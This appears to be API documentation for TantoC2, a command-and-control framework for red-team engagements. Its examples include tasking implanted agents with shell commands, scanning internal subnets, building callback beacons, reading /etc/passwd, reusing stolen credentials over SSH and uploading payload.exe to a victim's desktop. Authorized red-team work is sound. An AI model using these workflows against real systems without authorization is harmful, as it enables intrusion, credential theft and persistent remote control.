API Reference

1

Authorization: Bearer <access_token>

1
2
3
4

POST /api/v1/auth/login
Content-Type: application/json

{"username": "admin", "password": "password"}

1
2
3
4
5
6
7
8

{
  "access_token": "eyJ...",
  "refresh_token": "eyJ...",
  "expires_at": "2026-03-23T11:00:00Z",
  "user_id": "uuid-...",
  "username": "admin",
  "role": "admin"
}

1
2
3
4

POST /api/v1/auth/refresh
Content-Type: application/json

{"refresh_token": "eyJ..."}

1
2
3
4
5
6
7
8
9

from tantoc2.client import TantoC2Client

client = TantoC2Client("http://localhost:8443")
client.login("admin", "password")

# All REST resources are available as typed methods
agents = client.agents.list()
task = client.agents.create_task(agents[0]["id"], "survey")
result = client.agents.get_task_result(agents[0]["id"], task["id"])

1
2
3
4
5
6

POST /api/v1/engagements/
{
  "name": "client-engagement-2026-q1",
  "description": "Q1 red team assessment",
  "passphrase": "strong-archive-passphrase"
}

1
2
3
4
5
6
7

POST /api/v1/agents/<agent_id>/tasks
{
  "task_type": "shell",
  "payload": {
    "command": "whoami && id"
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

GET /api/v1/agents/<agent_id>/tasks/<task_id>/result

{
  "task_id": "uuid-...",
  "status": "completed",
  "result": {
    "output": "root\nuid=0(root) gid=0(root) groups=0(root)\n",
    "exit_code": 0
  },
  "created_at": "...",
  "completed_at": "..."
}

1
2
3
4

GET /api/v1/agents/?status=active
GET /api/v1/agents/?status=dormant
GET /api/v1/agents/?status=dead
GET /api/v1/agents/?status=killed

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

POST /api/v1/agents/<agent_id>/modules/load
{
  "module_name": "port_scan",
  "module_format": "bof",
  "daemonize": false,
  "options": {
    "target": "10.0.0.0/24",
    "ports": "22,80,443"
  }
}

1
2
3
4
5
6
7
8

GET /api/v1/agents/<agent_id>/capabilities

{
  "module_formats": ["bof", "shellcode"],
  "built_in_commands": ["ls", "cat", "ps", "upload", "download", "load_module"],
  "supports_daemonize": true,
  "supports_relay": false
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

GET /api/v1/agent-modules/compatible/<agent_id>

[
  {
    "name": "port_scan",
    "description": "TCP port scanner",
    "format": "bof",
    "platforms": ["windows", "linux"],
    "architectures": ["x64"],
    "options_schema": {
      "target": {"type": "str", "required": true, ...},
      "ports":  {"type": "str", "required": false, "default": "1-1024"}
    }
  }
]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

POST /api/v1/listeners/
{
  "name": "main-https",
  "transport_type": "http",
  "host": "0.0.0.0",
  "port": 443,
  "tls_enabled": true,
  "tls_cert_file": "/path/to/cert.pem",
  "tls_key_file": "/path/to/key.pem",
  "callback_protocol": "https",
  "options": {}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

POST /api/v1/builds/
{
  "package_name": "dev_agent",
  "template_name": "dev_beacon",
  "callbacks": [
    {"host": "10.0.0.1", "port": 8443, "protocol": "https"}
  ],
  "kill_date": "2026-06-01",
  "beacon_interval": 30,
  "beacon_jitter": 15
}

1
2

GET /api/v1/builds/<build_id>/download
Authorization: Bearer <token>

1
2
3

curl -H "Authorization: Bearer $TOKEN" \
  http://localhost:8443/api/v1/builds/$BUILD_ID/download \
  -o agent.py

1
2
3
4
5
6
7

POST /api/v1/modules/my_module/execute
{
  "agent_id": "uuid-...",
  "options": {
    "path": "/etc/passwd"
  }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

POST /api/v1/agentless/modules/ssh/execute
{
  "operation": "exec",
  "targets": [
    {"host": "10.0.0.5", "port": 22, "credential_id": "cred-uuid"}
  ],
  "options": {
    "command": "id"
  },
  "proxy_config_id": null
}

1
2
3
4
5
6
7
8

POST /api/v1/credentials/
{
  "cred_type": "plaintext",
  "username": "administrator",
  "secret": "P@ssw0rd",
  "domain": "CORP",
  "notes": "Extracted from DC via Mimikatz"
}

1
2

GET /api/v1/credentials/?cred_type=hash&domain=CORP&username=admin
GET /api/v1/credentials/?source_host=10.0.0.5&limit=50&offset=0

1
2
3
4
5

POST /api/v1/agents/<agent_id>/files/upload
{
  "file_data": "<base64-encoded bytes>",
  "remote_path": "C:\\Users\\victim\\Desktop\\payload.exe"
}

1
2
3
4
5
6
7
8
9

GET /api/v1/plugins/

{
  "transports": [{"name": "http", "type": "transport"}, {"name": "tcp", "type": "transport"}],
  "agentless_modules": [{"name": "ssh", "type": "agentless_module"}],
  "agent_packages": [{"name": "dev_agent", "type": "agent_package"}],
  "crypto_providers": [{"name": "dev_crypto", "type": "crypto_provider"}],
  "protocol_codecs": [{"name": "dev_codec", "type": "protocol_codec"}]
}

1
2
3
4
5

GET /api/v1/audit/?engagement_id=<id>
  Optional: &principal=<username>&action=<action>
            &since=<ISO8601>&until=<ISO8601>
            &security_only=true
            &limit=100&offset=0

1
2

GET /api/v1/version    → {"version": "0.1.0", "name": "TantoC2"}
GET /api/v1/health     → {"status": "ok"}

1
2
3

const socket = io("http://localhost:8443", {
  auth: { token: "<access_token>" }
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

from tantoc2.client import TantoC2Client

client = TantoC2Client("http://localhost:8443")
client.login("admin", "password")

@client.on_event("agent_registered")
def on_agent(data):
    print(f"New agent: {data['agent_id']} ({data['package']})")

@client.on_event("task_completed")
def on_task(data):
    result = client.agents.get_task_result(data["agent_id"], data["task_id"])
    print(result)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

socket.on("agent_registered", (data) => {
  console.log("New agent:", data.agent_id);
});

socket.on("task_completed", async (data) => {
  const result = await fetch(
    `/api/v1/agents/${data.agent_id}/tasks/${data.task_id}/result`,
    { headers: { Authorization: `Bearer ${token}` } }
  );
  console.log(await result.json());
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

HTTP 400 Bad Request
{"error": "validation_error", "message": "Field 'task_type' is required"}

HTTP 401 Unauthorized
{"error": "unauthorized", "message": "Token expired or invalid"}

HTTP 403 Forbidden
{"error": "forbidden", "message": "Insufficient role: operator required"}

HTTP 404 Not Found
{"error": "not_found", "message": "Agent abc123 not found"}